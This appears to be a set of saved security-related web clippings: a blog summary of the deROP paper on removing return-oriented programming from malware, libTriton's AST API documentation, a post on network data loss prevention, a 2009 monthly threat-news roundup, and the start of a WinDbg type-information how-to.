meant to be distributed and must be referenced when using all or portions of
it.

### C. Project Inclusion

I approve this report for inclusion on the course website. I approve the video
for inclusion on the course youtube channel.

* * *
  

# Marco Ramilli's Blog: ROP and deROP

**Created:**| _3/24/2012 6:41:31 PM_  
---|---  
**Updated:**| _3/24/2012 6:41:31 PM_  
**Author:**| __  
**Tags:**| _papers rop_  
  

## ROP and deROP

I ve been writing a lot about ROP in my past posts \( Here for a collection\)
covering some of the principal anti ROP techniques used by modern operative
systems. Today I 'd like to suggest another great reading from Kanjie Lu et
Al. From Peking University, Cina titled "deROP: removing return oriented
programming from malware."

Many different researches put theirs efforts in finding a good ways to fight
ROP malware, for example Davi et Al. And Chen et Al. Implemented a threshold
system able to count how many buckets of instruction followed by RETN are
present in a executable, once the threshold is reached the security mechanism
alerts the user about that. Another direction is to look for violations of
last-in, first-out invariants of the stack data structure that call and return
instructions usually maintain in normal benign programs. Francillion Et Al.
Implemented shadow return address in hardware stack such that only call and
return instructions can modify the return- address stack.Davi et al. claim
that it is possible to extend their ROP defender with a frequency measurement
unit to detect attacks with return-less ROP. The idea is that pop-jump
sequences are uncommon in ordinary programs, while returnless ROP invokes such
a sequence after each instruction sequence.Most recently, Onarlioglu et al.
propose G-Free, which is a compiler-based approach to defeat against any
possible form of ROP.

Kanjie Lu in this paper propose a "conversion tool" able to transform the most
advanced ROP-Based payloads into equivalent non-ROP Payloads able to being
analyzed from normal Malware analysis tools.

> Instead, we propose an automatic converter, called deRop, to convert ROP
> shellcode into its semantically equivalent non-ROP shellcode so that any of
> the existing malware analysis tools can ana- lyze it.
The following image \(taken from the paper \) shows an high level overview of
the designed deRop system.  

<img src='img/Temp2_5218' width='500' height='239' />

The paper well describes all the process behind the development of the tool
underlining main difficulties and structural choices. The authors tested their
work by applying their tool on 4 real Payloads obtaining great results.

<img src='img/Temp2_5219' width='500' height='175' />

Even if the idea behind the entire work is surprising good, the developed tool
presents some limitations if applied in real wokrld, for example its output is
one running instance specific in ASLR, and again deRop needs dynamically
executing the vulnerable application in order to locate the gadgets in the ROP
exploit. But to know more about that please read the whole paper it is really
a good reading \! Have fun.  

# libTriton: AST Representations

**Created:**| _8/15/2016 5:48:44 PM_  
---|---  
**Updated:**| _8/15/2016 5:48:44 PM_  
**Author:**| __  
**Tags:**| __  
  

  

\[**python api**\] All information about the ast python module.

#  Description

* * *
Triton converts the x86 and the x86-64 instruction set semantics into AST
representations which allows you to perform precise analysis and allows you to
build and to modify your own symbolic expressions.

1 >>> from triton import ast

2 >>> ast

3 <module 'ast' \(built-in\)>

##  AST Form

* * *
1 Instruction: add rax, rdx

2 Expression: ref\!41 = \(bvadd \(\(\_ extract 63 0\) ref\!40\) \(\(\_ extract
63 0\) ref\!39\)\)

As all Triton's expressions are on SSA form, the `ref!41` is the new
expression of the `RAX` register, the `ref!40` is the previous expression of
the `RAX` register and the `ref!39` is the previous expression of the `RDX`
register. An Instruction may contain several expressions
\(SymbolicExpression\). For example, the previous `add rax, rdx` instruction
contains 7 expressions: 1 `ADD` semantics and 6 flags \(`AF, CF, OF, PF, SF
and ZF`\) semantics where each flag is stored in a new SymbolicExpression.

1 Instruction: add rax, rdx

2 Expressions: ref\!41 = \(bvadd \(\(\_ extract 63 0\) ref\!40\) \(\(\_
extract 63 0\) ref\!39\)\)

3 ref\!42 = \(ite \(= \(\_ bv16 64\) \(bvand \(\_ bv16 64\) \(bvxor ref\!41
\(bvxor \(\(\_ extract 63 0\) ref\!40\) \(\(\_ extract 63 0\)
ref\!39\)\)\)\)\) \(\_ bv1 1\) \(\_ bv0 1\)\)

4 ref\!43 = \(ite \(bvult ref\!41 \(\(\_ extract 63 0\) ref\!40\)\) \(\_ bv1
1\) \(\_ bv0 1\)\)

5 ref\!44 = \(ite \(= \(\(\_ extract 63 63\) \(bvand \(bvxor \(\(\_ extract 63
0\) ref\!40\) \(bvnot \(\(\_ extract 63 0\) ref\!39\)\)\) \(bvxor \(\(\_
extract 63 0\) ref\!40\) ref\!41\)\)\) \(\_ bv1 1\)\) \(\_ bv1 1\) \(\_ bv0
1\)\)

6 ref\!45 = \(ite \(= \(parity\_flag \(\(\_ extract 7 0\) ref\!41\)\) \(\_ bv0
1\)\) \(\_ bv1 1\) \(\_ bv0 1\)\)

7 ref\!46 = \(ite \(= \(\(\_ extract 63 63\) ref\!41\) \(\_ bv1 1\)\) \(\_ bv1
1\) \(\_ bv0 1\)\)

8 ref\!47 = \(ite \(= ref\!41 \(\_ bv0 64\)\) \(\_ bv1 1\) \(\_ bv0 1\)\)

Triton deals with 64-bits registers \(and 128-bits for SSE\). It means that it
uses the `concat` and `extract` functions when operations are performed on
subregister.

1 mov al, 0xff -> ref\!193 = \(concat \(\(\_ extract 63 8\) ref\!191\) \(\_
bv255 8\)\)

2 movsx eax, al -> ref\!195 = \(\(\_ zero\_extend 32\) \(\(\_ sign\_extend
24\) \(\(\_ extract 7 0\) ref\!193\)\)\)

On the line 1, a new 64bit-vector is created with the concatenation of
`RAX[63..8]` and the concretization of the value `0xff`. On the line 2,
according to the AMD64 behavior, if a 32-bit register is written, the CPU
clears the 32-bit MSB of the corresponding register. So, in this case, we
apply a sign extension from al to `EAX`, then a zero extension from `EAX` to
`RAX`.

#  AST representation

* * *
An abstract syntax tree \(AST\) is a representation of a grammar as tree.
Triton uses a custom AST for its expressions. As all expressions are built at
runtime, an AST is available at each program point. For example, let assume
this set of instructions:

1 mov al, 1

2 mov cl, 10

3 mov dl, 20

4 xor cl, dl

5 add al, cl

At the line 5, the AST of the `AL` register looks like this:

<img src='img/Temp2_10436.png' width='400' height='300' />

This AST represents the semantics of the `AL` register at the program point 5
from the program point 1. Note that this AST has been simplified for a better
comprehension. The real AST contains some `concat` and `extract` as mentioned
in the previous chapter. According to the API you can build and modify your
own AST. Then, you can perform some modifications and simplifications before
sending it to the solver.

##  The AST reference node

* * *
To manage more easily the subtree and to keep the SSA form of registers and
memory, we have added a `REFERENCE` node which is a "terminate" node of a tree
but contains a reference to another subtree. Below, an example of one
"partial" tree linked with two other subtrees.

<img src='img/Temp2_10437.png' width='600' height='447' />

If you try to go through the full AST you will fail at the first reference
node because a reference node does not contains child nodes. The only way to
jump from a reference node to the targeted node is to use the
triton::engines::symbolic::SymbolicEngine::getFullAst\(\) function.

1 >>> zfId = getSymbolicRegisterId\(REG.ZF\)

2 >>> partialTree = getSymbolicExpressionFromId\(zfId\).getAst\(\)

3 >>> print partialTree

4 \(ite \(= ref\!89 \(\_ bv0 32\)\) \(\_ bv1 1\) \(\_ bv0 1\)\)

5

6 >>> fullTree = getFullAst\(partialTree\)

7 >>> print fullTree

8 \(ite \(= \(bvsub \(\(\_ extract 31 0\) \(\(\_ zero\_extend 32\) \(\(\_
extract 31 0\) \(\(\_ zero\_extend 32\) \(bvxor \(\(\_ extract 31 0\) \(\(\_
zero\_extend 32\) \(bvsub \(\(\_ extract 31 0\) \(\(\_ zero\_extend 32\)
\(\(\_ sign\_extend 24\) \(\(\_ extract 7 0\) SymVar\_0\)\)\)\) \(\_ bv1
32\)\)\)\) \(\_ bv85 32\)\)\)\)\)\) \(\(\_ extract 31 0\) \(\(\_ zero\_extend
32\) \(\(\_ sign\_extend 24\) \(\(\_ extract 7 0\) \(\(\_ zero\_extend 32\)
\(\(\_ zero\_extend 24\) \(\(\_ extract 7 0\) \(\_ bv49 8\)\)\)\)\)\)\)\)\)
\(\_ bv0 32\)\) \(\_ bv1 1\) \(\_ bv0 1\)\)

##  The SMT or Python Syntax

* * *
By default, Triton represents semantics into SMT-LIB which is an international
initiative aimed at facilitating research and development in Satisfiability
Modulo Theories \(SMT\). However, Triton allows you to display your AST via a
Python syntax.

1 >>> from triton import \*

2

3 >>> setArchitecture\(ARCH.X86\_64\)

4 >>> setAstRepresentationMode\(AST\_REPRESENTATION.PYTHON\)

5 >>> inst = Instruction\(\)

6 >>> inst.setOpcodes\("\x48\x01\xd8"\) \# add rax, rbx

7 >>> inst.setAddress\(0x400000\)

8 >>> inst.updateContext\(Register\(REG.RAX, 0x1122334455667788\)\)

9 >>> inst.updateContext\(Register\(REG.RBX, 0x8877665544332211\)\)

10 >>> processing\(inst\)

11

12 >>> print inst

13 400000: add rax, rbx

14

15 >>> for expr in inst.getSymbolicExpressions\(\):

16 ... print expr

17 ...

18 ref\_0 = \(\(0x1122334455667788 + 0x8877665544332211\) &
0xFFFFFFFFFFFFFFFF\) \# ADD operation

19 ref\_1 = \(0x1 if \(0x10 == \(0x10 & \(ref\_0 ^ \(0x1122334455667788 ^
0x8877665544332211\)\)\)\) else 0x0\) \# Adjust flag

20 ref\_2 = \(\(\(\(0x1122334455667788 & 0x8877665544332211\) ^
\(\(\(0x1122334455667788 ^ 0x8877665544332211\) ^ ref\_0\) &
\(0x1122334455667788 ^ 0x8877665544332211\)\)\) >> 63\) & 0x1\) \# Carry flag

21 ref\_3 = \(\(\(\(0x1122334455667788 ^ ~0x8877665544332211\) &
\(0x1122334455667788 ^ ref\_0\)\) >> 63\) & 0x1\) \# Overflow flag

22 ref\_4 = \(\(\(\(\(\(\(\(0x1 ^ \(\(\(ref\_0 & 0xFF\) >> 0x0\) & 0x1\)\) ^
\(\(\(ref\_0 & 0xFF\) >> 0x1\) & 0x1\)\) ^ \(\(\(ref\_0 & 0xFF\) >> 0x2\) &
0x1\)\) ^ \(\(\(ref\_0 & 0xFF\) >> 0x3\) & 0x1\)\) ^ \(\(\(ref\_0 & 0xFF\) >>
0x4\) & 0x1\)\) ^ \(\(\(ref\_0 & 0xFF\) >> 0x5\) & 0x1\)\) ^ \(\(\(ref\_0 &
0xFF\) >> 0x6\) & 0x1\)\) ^ \(\(\(ref\_0 & 0xFF\) >> 0x7\) & 0x1\)\) \# Parity
flag

23 ref\_5 = \(\(ref\_0 >> 63\) & 0x1\) \# Sign flag

24 ref\_6 = \(0x1 if \(ref\_0 == 0x0\) else 0x0\) \# Zero flag

25 ref\_7 = 0x400003 \# Program Counter

#  Examples

* * *
##  Get a register's expression and create an assert

1 \# Get the symbolic expression of the ZF flag

2 zfId = getSymbolicRegisterId\(REG.ZF\)

3 zfExpr = getFullAst\(getSymbolicExpressionFromId\(zfId\).getAst\(\)\)

4

5 \# \(assert \(= zf True\)\)

6 newExpr = ast.assert\_\(

7 ast.equal\(

8 zfExpr,

9 ast.bvtrue\(\)

10 \)

11 \)

12

13 \# Get a model

14 models = getModel\(newExpr\)

##  Play with the AST

1 \# Node information

2

3 >>> node = bvadd\(bv\(1, 8\), bvxor\(bv\(10, 8\), bv\(20, 8\)\)\)

4 >>> print type\(node\)

5 <type 'AstNode'>

6

7 >>> print node

8 \(bvadd \(\_ bv1 8\) \(bvxor \(\_ bv10 8\) \(\_ bv20 8\)\)\)

9

10 >>> subchild = node.getChilds\(\)\[1\].getChilds\(\)\[0\]

11 >>> print subchild

12 \(\_ bv10 8\)

13

14 >>> print subchild.getChilds\(\)\[0\].getValue\(\)

15 10

16 >>> print subchild.getChilds\(\)\[1\].getValue\(\)

17 8

18

19 \# Node modification

20

21 >>> node = bvadd\(bv\(1, 8\), bvxor\(bv\(10, 8\), bv\(20, 8\)\)\)

22 >>> print node

23 \(bvadd \(\_ bv1 8\) \(bvxor \(\_ bv10 8\) \(\_ bv20 8\)\)\)

24

25 >>> node.setChild\(0, bv\(123, 8\)\)

26 >>> print node

27 \(bvadd \(\_ bv123 8\) \(bvxor \(\_ bv10 8\) \(\_ bv20 8\)\)\)

##  Python operators

1 >>> a = bv\(1, 8\)

2 >>> b = bv\(2, 8\)

3 >>> c = \(a & ~b\) | \(~a & b\)
4 >>> print c

5 \(bvor \(bvand \(\_ bv1 8\) \(bvnot \(\_ bv2 8\)\)\) \(bvand \(bvnot \(\_
bv1 8\)\) \(\_ bv2 8\)\)\)

As we can't overload all AST's operators only these following operators are
overloaded:

Python's Operator | e.g: SMT2-Lib format   
---|---  
a + b | \(bvadd a b\)   
a - b | \(bvsub a b\)   
a \* b | \(bvmul a b\)   
a \ b | \(bvsdiv a b\)   
a | b | \(bvor a b\)   
a & b | \(bvand a b\)   
a ^ b | \(bvxor a b\)   
a % b | \(bvsmod a b\)   
a << b | \(bvshl a b\)   
a >> b | \(bvlshr a b\)   
~a | \(bvnot a\)   
-a | \(bvneg a\)   
#  Python API - Methods of the ast module

* * *
  * **assert\_\(AstNode expr1\)**  
Returns the ast `triton::ast::assert_()` representation as AstNode.  
e.g: `(assert expr1)`.

  * **bv\(integer value, integer size\)**  
Returns the ast `triton::ast::bv()` representation as AstNode. The `size` is
in bits.  
e.g: `(_ bvValue size)`.

  * **bvadd\(AstNode expr1, AstNode expr2\)**  
Returns the ast `triton::ast::bvadd()` representation as AstNode.  
e.g: `(bvadd expr1 epxr2)`.

  * **bvand\(AstNode expr1, AstNode expr2\)**  
Returns the ast `triton::ast::bvand()` as AstNode.  
e.g: `(bvand expr1 epxr2)`.

  * **bvashr\(AstNode expr1, AstNode expr2\)**  
Returns the ast `triton::ast::bvashr()` representation as AstNode.  
e.g: `(bvashr expr1 epxr2)`.

  * **bvdecl\(integer size\)**  
Returns the ast `triton::ast::bvdecl()` representation as AstNode.  
e.g: `(_ BitVec size)`.

  * **bvfalse\(\)**  
This is an alias on the `(_ bv0 1)` ast expression.

  * **bvlshr\(AstNode expr1, AstNode expr2\)**  
Returns the ast `triton::ast::bvlshr()` representation as AstNode.  
e.g: `(lshr expr1 epxr2)`.

  * **bvmul\(AstNode expr1, AstNode expr2\)**  
Returns the ast `triton::ast::bvmul()` representation as AstNode.  
e.g: `(bvmul expr1 expr2)`.

  * **bvnand\(AstNode expr1, AstNode expr2\)**  
Returns the ast `triton::ast::bvnand()` representation as AstNode.  
e.g: `(bvnand expr1 expr2)`.

  * **bvneg\(AstNode expr1\)**  
Returns the ast `triton::ast::bvneg()` representation as AstNode.  
e.g: `(bvneg expr1)`.

  * **bvnor\(AstNode expr1, AstNode expr2\)**  
Returns the ast `triton::ast::bvnor()` representation as AstNode.  
e.g: `(bvnor expr1 expr2)`.

  * **bvnot\(AstNode expr1\)**  
Returns the ast `triton::ast::bvnot()` representation as AstNode.  
e.g: `(bvnot expr1)`.

  * **bvor\(AstNode expr1, AstNode expr2\)**  
Returns the ast `triton::ast::bvor()` representation as AstNode.  
e.g: `(bvor expr1 expr2)`.

  * **bvror\(integer displacement, AstNode expr2\)**  
Returns the ast `triton::ast::bvror()` representation as AstNode.  
e.g: `((_ rotate_right displacement) expr)`.

  * **bvrol\(integer displacement, AstNode expr2\)**  
Returns the ast `triton::ast::bvrol()` representation as AstNode.  
e.g: `((_ rotate_left displacement) expr)`.

  * **bvsdiv\(AstNode expr1, AstNode expr2\)**  
Returns the ast `triton::ast::bvsdiv()` representation as AstNode.  
e.g: `(bvsdiv expr1 epxr2)`.

  * **bvsge\(AstNode expr1, AstNode expr2\)**  
Returns the ast `triton::ast::bvsge()` representation as AstNode.  
e.g: `(bvsge expr1 epxr2)`.

  * **bvsgt\(AstNode expr1, AstNode expr2\)**  
Returns the ast `triton::ast::bvsgt()` representation as AstNode.  
e.g: `(bvsgt expr1 epxr2)`.

  * **bvshl\(AstNode expr1, AstNode expr2\)**  
Returns the ast `triton::ast::bvshl()` representation as AstNode.  
e.g: `(bvshl expr1 expr2)`.

  * **bvsle\(AstNode expr1, AstNode expr2\)**  
Returns the ast `triton::ast::bvsle()` representation as AstNode.  
e.g: `(bvsle expr1 epxr2)`.

  * **bvslt\(AstNode expr1, AstNode expr2\)**  
Returns the ast `triton::ast::bvslt()` representation as AstNode.  
e.g: `(bvslt expr1 epxr2)`.

  * **bvsmod\(AstNode expr1, AstNode expr2\)**  
Returns the ast `triton::ast::bvsmod()` representation as AstNode.  
e.g: `(bvsmod expr1 expr2)`.

  * **bvsrem\(AstNode expr1, AstNode expr2\)**  
Returns the ast `triton::ast::bvsrem()` representation as AstNode.  
e.g: `(bvsrem expr1 expr2)`.

  * **bvsub\(AstNode expr1, AstNode expr2\)**  
Returns the ast `triton::ast::bvsub()` representation as AstNode.  
e.g: `(bvsub expr1 epxr2)`.

  * **bvtrue\(\)**  
This is an alias on the `(_ bv1 1)` ast expression.

  * **bvudiv\(AstNode expr1, AstNode expr2\)**  
Returns the ast `triton::ast::bvudiv()` representation as AstNode.  
e.g: `(bvudiv expr1 epxr2)`.

  * **bvuge\(AstNode expr1, AstNode expr2\)**  
Returns the ast `triton::ast::bvuge()` representation as AstNode.  
e.g: `(bvuge expr1 epxr2)`.

  * **bvugt\(AstNode expr1, AstNode expr2\)**  
Returns the ast `triton::ast::bvugt()` representation as AstNode.  
e.g: `(bvugt expr1 epxr2)`.

  * **bvule\(AstNode expr1, AstNode expr2\)**  
Returns the ast `triton::ast::bvule()` representation as AstNode.  
e.g: `(bvule expr1 epxr2)`.

  * **bvult\(AstNode expr1, AstNode expr2\)**  
Returns the ast `triton::ast::bvult()` representation as AstNode.  
e.g: `(bvult expr1 epxr2)`.

  * **bvurem\(AstNode expr1, AstNode expr2\)**  
Returns the ast `triton::ast::bvurem()` representation as AstNode.  
e.g: `(bvurem expr1 expr2)`.

  * **bvxnor\(AstNode expr1, AstNode expr2\)**  
Returns the ast `triton::ast::bvxnor()` representation as AstNode.  
e.g: `(bvxnor expr1 expr2)`.

  * **bvxor\(AstNode expr1, AstNode expr2\)**  
Returns the ast `triton::ast::bvxor()` representation as AstNode.  
e.g: `(bvxor expr1 epxr2)`.

  * **compound\(\[AstNode expr ...\]\)**  
Returns the `triton::ast::compound()` node as AstNode.

  * **concat\(\[AstNode expr ...\]\)**  
Returns the `triton::ast::concat()` node as AstNode.

  * **distinct\(AstNode expr1, AstNode expr2\)**  
Returns the ast `triton::ast::distinct()` representation as AstNode.  
e.g: `(distinct expr1 expr2)`

  * **duplicate\(AstNode expr\)**  
Duplicates the node and returns a new instance as AstNode. When you play with
a node, it's recommended to use this function before any manipulation.

  * **equal\(AstNode expr1, AstNode expr2\)**  
Returns the ast `triton::ast::equal()` representation as AstNode.  
e.g: `(= expr1 epxr2)`.

  * **extract\(integer high, integer low, AstNode expr1\)**  
Returns the ast `triton::ast::extract()` representation as AstNode.  
e.g: `((_ extract high low) expr1)`.

  * **ite\(AstNode ifExpr, AstNode thenExpr, AstNode elseExpr\)**  
Returns the ast `triton::ast::ite()` representation as AstNode.  
e.g: `(ite ifExpr thenExpr elseExpr)`.

  * **land\(AstNode expr1, AstNode expr2\)**  
Returns the ast `triton::ast::land()` representation as AstNode.  
e.g: `(and expr1 expr2)`.

  * **let\(string alias, AstNode expr2, AstNode expr3\)**  
Returns the ast `triton::ast::let()` representation as AstNode.  
e.g: `(let ((alias expr2)) expr3)`.

  * **lnot\(AstNode expr\)**  
Returns the ast `triton::ast::lnot()` representation as AstNode.  
e.g: `(not expr)`.

  * **lor\(AstNode expr1, AstNode expr2\)**  
Returns the ast `triton::ast::lor()` representation as AstNode.  
e.g: `(or expr1 expr2)`.

  * **reference\(integer exprId\)**  
Returns the reference \(`triton::ast::reference()`\) node representation as
AstNode. Be careful, the targeted node reference is always on the max vector
size, except for volatile expressions.  
e.g: `ref!123`.

  * **string\(string s\)**  
Returns a `triton::ast::string()` node as AstNode.

  * **sx\(integer sizeExt, AstNode expr1\)**  
Returns the ast `triton::ast::sx()` representation as AstNode.  
e.g: `((_ sign_extend sizeExt) expr1)`.

  * **variable\(SymbolicVariable symVar\)**  
Returns a `triton::ast::variable()` node as AstNode.

  * **zx\(integer sizeExt, AstNode expr1\)**  
Returns the ast `triton::ast::zx()` representation as AstNode.  
e.g: `((_ zero_extend sizeExt) expr1)`.

  

# coming to terms with data loss prevention \(terminal23\)

**Created:**| _12/16/2009 8:45:00 PM_  
---|---  
**Updated:**| _12/16/2009 8:45:14 PM_  
**Author:**| __  
**Tags:**| _content security DLP_  
  

: coming to terms with data loss prevention

I've been recently digging deeper into network DLP \(part of a PCI initiative
in an organization\). I've long narrowed my eyes about the concept of the DLP
space, but I feel a lot better about it lately. Let me briefly
explain...keeping in mind I am discussing network DLP and not endpoint DLP.  
  
My original thinking about DLP has always been how it has so many limitations.
It is fun to make a list of all the ways you can circumnavigate the functions
DLP provides. This always made me sigh in exasperation about DLP \(data loss
prevention\!\) as a security tool to prevent data loss. It's not that I wanted
DLP to be infallible, but I thought it was silly that even simple things could
defeat it, like HTTPS/SSL, or a password-zipped file.  
  
But now I believe DLP is not supposed to strictly be a security tool. DLP
should better be labeled as a Sensitive Business Process Identifier. What DLP
really does is identify and alert on business processes sending XYZ data over
channels they're supposed to be using, or they should not be using. Instead of
stopping a **malicious** individual from exfiltrating information, DLP really
wants to act like bumpers in the gutters of a bowling lane: make sure
**valid** business processes aren't using poor channels to move data, and
somewhat log/assure when it is used properly. My old thinking involved
malicious activity; my new thinking involves business-valid activity. That's a
big difference\!  
  
Does this satisfy PCI checks? Technically, I guess so. But does it offer much
assurance that data is not exfiltrating a network? No. Does DLP make a
security geek feel good? Not when considered alone. When considered as an
advanced item in a mature security posture, then perhaps it is merely ok.  
  
A very valuable side benefit of DLP's approach is to drive identifying where
sensitive data resides and transits. This is almost worth the cost of DLP to
many companies that have no idea where this stuff sits or moves.

by michael 12.15.09 at 3:53 PM in /general  

# This Month in the Threat Webscape - Security Labs Blog

**Created:**| _5/10/2009 9:15:58 AM_  
---|---  
**Updated:**| _5/10/2009 9:16:29 AM_  
**Author:**| __  
**Tags:**| _security Graphs statistics_  
  

This Month in the Threat Webscape

**05.08.2009 - 5:15 PM**  

##### **SEARCH BLOG**

  * Subscribe to this feed »

  

 _Month of April 2009_  
  
This month brought us more examples of Web 2.0 maliciousness, with a public
display of multiple Twitter wormlings-a-crawling. Big publicly-traded Internet
companies like Amazon.com and Salesforce.com suffered outages from DDoS
attacks, major banks world-wide suffered from more financial loss due to
phishing attacks and data leaks, and all the opportunistic Swine Flu Web sites
\(and email\!\) with malicious content that the world can possibly digest for
years to come.  
  
Please pay attention to the Adobe PDF reader attacks if you read PDF
documents, as Adobe may not release an official patch until after Mother's
Day.  
  

### Major Hits

Beatles fans beware, famed singer Paul McCartney's official Web site was
discovered to be infected with an exploit toolkit called LuckySploit.
Unprotected fans will find their computers compromised by this drive-by
attack. More cases of "malvertising" \(malicious advertisements\) was
documented, with the latest incident detected on Foxnews.com \(screenshot of
fake AV\).  
  
Big Internet companies who stand to lose a lot of money if their sites go down
saw exactly that. A DDoS attack on managed DNS provider NeuStar UltraDNS
knocked major sites like Amazon.com, Salesforce.com, and Advertising.com
offline for several hours.  
  
In Latin America, a major Brazilian bank \(Bradesco\) was plagued by even more
fraud resulting from a DNS cache poisoning attack on Brazilian ISP Net Virtua.
On the other side of our green planet, New Zealand saw the regional Web sites
of major reputable brands like microsoft.co.nz, hotmail.co.nz, sony.co.nz,
hsbc.co.nz, and coca-cola.co.nz "defaced" by malicious hackers. Zone-H reports
that attackers hijacked the DNS records from NZ registrar Domainz.net by
exploiting an SQL injection vulnerability.  
  

### Web 2 dot uh-oh

A new worm on Twitter dubbed the "StalkDaily" worm shows how Twitter is like
any medium for human communication—if you're going to use it, you're going to
have to deal with the good and the bad. In this case, it's the bad. Merely
viewing an infected Twitter profile page is all that's needed to have yourself
infected. After the worm's debut, multiple variations of the worm soon
followed.  
  
The word of this was widely and quick spread by the media, and soon everyone
was searching for more information about this new worm. Predictably, the bad
guys soon latched on to the search trend and cast their nets for victims,
littering Google's search results with their malicious lures. But that's not
all. Twitter also had trouble securing its own perimeter, and confirmed an
unauthorized security breach. Here are some of the leaked screenshots of
Twitter's "employee" admin panel.  
  
On Facebook, another phishing campaign to glean Facebook usernames and
passwords made its rounds. The scammers used Facebook's email system, thus
increasing the legitimate "look and feel" of the phish email to victims.  
  

### Browsing for dirt

The Mozilla Foundation released a flood of patches for Firefox this month,
with two rated "critical":  
  
\- MFSA 2009-23 Crash in nsTextFrame::ClearTextRun\(\)  
\- MFSA 2009-14 Crashes with evidence of memory corruption \(rv:1.9.0.9\)  
  
The MFSA 2009-14 advisory \(crashes with evidence of memory corruption\) could
potentially be exploited to run malicious code. Thunderbird \(MS Outlook
alternative\) shares the same browser engine with Firefox and could
potentially be affected if JavaScript is enabled.  
  
In other Web threat news, a proof-of-concept exploit code for a zero-day
**vulnerability in Adobe's PDF reader** was reported. There are actually two
distinct zero-days \(see US-CERT and ISC reports\) that have been confirmed by
Adobe officials. Adobe has recommended disabling the JavaScript function in
Acrobat and Reader as a stop-gap measure while they work on a real fix. US-
CERT Vulnerability Note VU \#970180 \(Adobe Reader and Acrobat
customDictionaryOpen\(\) and getAnnots\(\) JavaScript vulnerabilities\) can be
found here.  
  

### Microsoft

Microsoft announced an unpactched zero-day vulnerability in older versions of
PowerPoint that allows attackers to install Trojan dropper malware on the
computer of a user who opens a malicious PowerPoint file. Microsoft did
release several patches for other previously-reported zero-day attacks
however, such as the previously reported Token Kidnapping zero-day exploit, as
well as several actively exploited remote code execution vulnerabilities in
Excel, WordPad and Internet Explorer.  
  

### Conficker

For the first week after the much-hyped April 1st Conficker/Downadup
activation date, nothing happened. Then, starting on April 7th, researchers
noticed that the Conficker peer-to-peer network was spreading around a new
file. The new file is being dubbed the newest Conficker variant, and includes
a May third deactivation date and checks some new popular Web sites, including
a well-known Waledac site.  
  
Rogue antivirus software distributors have capitalized on the Conficker media
hype with fake "Conficker Infection Alert" spam messages. This raises
questions about how Conficker will make money and whether the authors are
turning to scareware tactics for monetization. We haven't heard much from
Conficker since the April 7th update, though a Russian Web site claimed that
Conficker was launching DDOS attacks on Russian servers, but researchers at
ESET doubt Conficker's involvement. As May 3rd has come and gone, Conficker's
propagation phase may be over, but the botnet controllers could change that at
any time. And the media isn't the only group taking note of Conficker's
growth. As we reported previously, the four-year-old Neeris worm has adapted
Conficker's infection techniques, which in turn were adapted from Metasploit
techniques.  
  

### So long and thanks for all the phish

As usual, phishers continue trying to trick victims by social engineering and
by taking advantage of important events. This time, it is the Swine Flu.
Phishers have been spamming Swine Flu emails with links or attachments that
redirect victims to phishing or malware sites. In addition, a large number of
Swine Flu Domains have been registered specifically for use in future attacks.
Strangely, most of these domains are linking to Canadian Pharmacy spam pages.

Researchers also discovered malware campaigns targeting Easter. Using
malicious search engine optimization \(SEO\) to boost the rankings of
malicious pages in search results, the attackers prey on victims who search
for Easter-related terms. The search results yield links to malicious pages
that serve the infamous rogue AV.

This month also saw the propagation of a new Waledac email campaign. The new
theme is SMS Spy, a Trojan that pretends to be a tool that enables users to
spy on friends’ SMS messages. Interestingly, researchers found evidence of an
apparent collaboration among Waledac and Conficker authors: the latest
Conficker variant was pushing a Waledac sample. Researchers surmise that this
was part of a business agreement in which Conficker’s authors were looking for
additional ways to monetize the botnet.  
  

### Hello ThreatSeeker. You've got mail\!

Threats "In the Mail" this month:  
  
· 17 percent of classified Web links within email were malicious  
· 87 percent of all email was spam  
· 81.3 percent of spam included an embedded URL  
· 99.8 percent spam detection rate  
  
<img src='img/Temp2_8365.png' />  
  
<img src='img/Temp2_8364.png' />  
  
<img src='img/Temp2_8368.png' />  
  
<img src='img/Temp2_8367.png' />  
  
<img src='img/Temp2_8366.png' />  
  

### Data Leakage Prevention

**Populist Anger against Credit Card Companies = More Insider Threats?**

Public anger on the topic of exorbitant and arbitrary increases in credit card
fees has prompted recent legislation to limit these rate hikes. Credit card
institutions claim that increased fraud and defaults on payment force them to
‘spread the pain’, but has this exacerbated the problem of credit card fraud?

Will disgruntled card holders and the soon-to-be unemployed spur more insider
threats? There is already some data to suggest that is the case, with up to 37
percent of employees indicating malicious intent, given the right incentive.
So where does this leave businesses, already contending with tightening
budgets?

Big IT security projects don’t make sense, so focus is essential. The real
risk is credit card data falling into the wrong hands, so stopping leaks while
they’re in progress is top priority. This means **monitoring network
activity** such as Web access and email, not just for PCI compliance
reporting, but also for preventing ongoing leaks. This visibility will make it
more obvious if sloppy but well-intentioned business practices are the root
cause \(like emailing a customer’s credit card info to verify their
information\). But it will also make the malicious cases obvious and help
**justify budget** for real-time, automated blocking of data leaks.  
  

### Security Trends

Just as one would avoid bad neighborhoods in real life, our research shows
that Web surfers should also avoid straying into the online equivalent as one
bad site often leads to even more bad sites. We ran some numbers to find out
how effective online communities self-police themselves on some of the hottest
Web 2.0 properties like YouTube and Blogspot. Our research concludes that the
crowd can effectively prevent 25 percent to 35 percent of objectionable
content, but a significant amount still fall through the cracks, presenting a
real concern for employers who seek to prevent such content from entering the
business environment.  
  
The malware economy grew at a record pace in 2008, as Symantec reports
creating 1.6 Mil new signatures in 2008. To picture how fast this is, 1.6Mil
is about 60 percent of the total signatures _ever_ created by Symantec. On a
related note, Verizon reports 285 Mil records compromised in the same year,
greater than the sum of the past four years combined. A study by Gartner shows
that phishing attacks actually surged during the recession, creating a new
wave of attacks targeting customers of big names like eBay, PayPal, and Bank
of America.  
  
Apple Macintosh fanboys should also take note of a new malware circulating
that aims to create a botnet of Macs. As the market share of Macs increase, it
will only be a matter of time before blackhat hackers begin allocating their
engineering resources to target happy Apple owners who still think that Macs
have an inpenetratable armor.

# How To Add TypeInfo So That Dt Commands Work Properly In Windbg

**Created:**| _9/8/2011 11:31:16 AM_  
---|---  
**Updated:**| _9/8/2011 11:31:16 AM_  
**Author:**| __  
**Tags:**| _Debugging windbg_  
  

## How To Add TypeInfo So That Dt Commands Work Properly In Windbg

> How To Add TypeInfo So That Dt Commands Work Properly In Windbg  
>  
>  preface  
>  
>  SomeTimes When You use Certain Dt Commands In windbg You Are Faced With The
> Type Information Not Available error  
>  
>  like below  
>  
>
> Code:
[code]

>     lkd> !ca 8657c600
>  
>     ControlArea  @ 8657c600
>       Segment      00000010  Flink      00000010  Blink        85c4e7a0
>       Section Ref         0  Pfn Ref           0  Mapped Views c4000001
>       User Ref     31447341  WaitForDel 86c7969c  Flush Count       a08
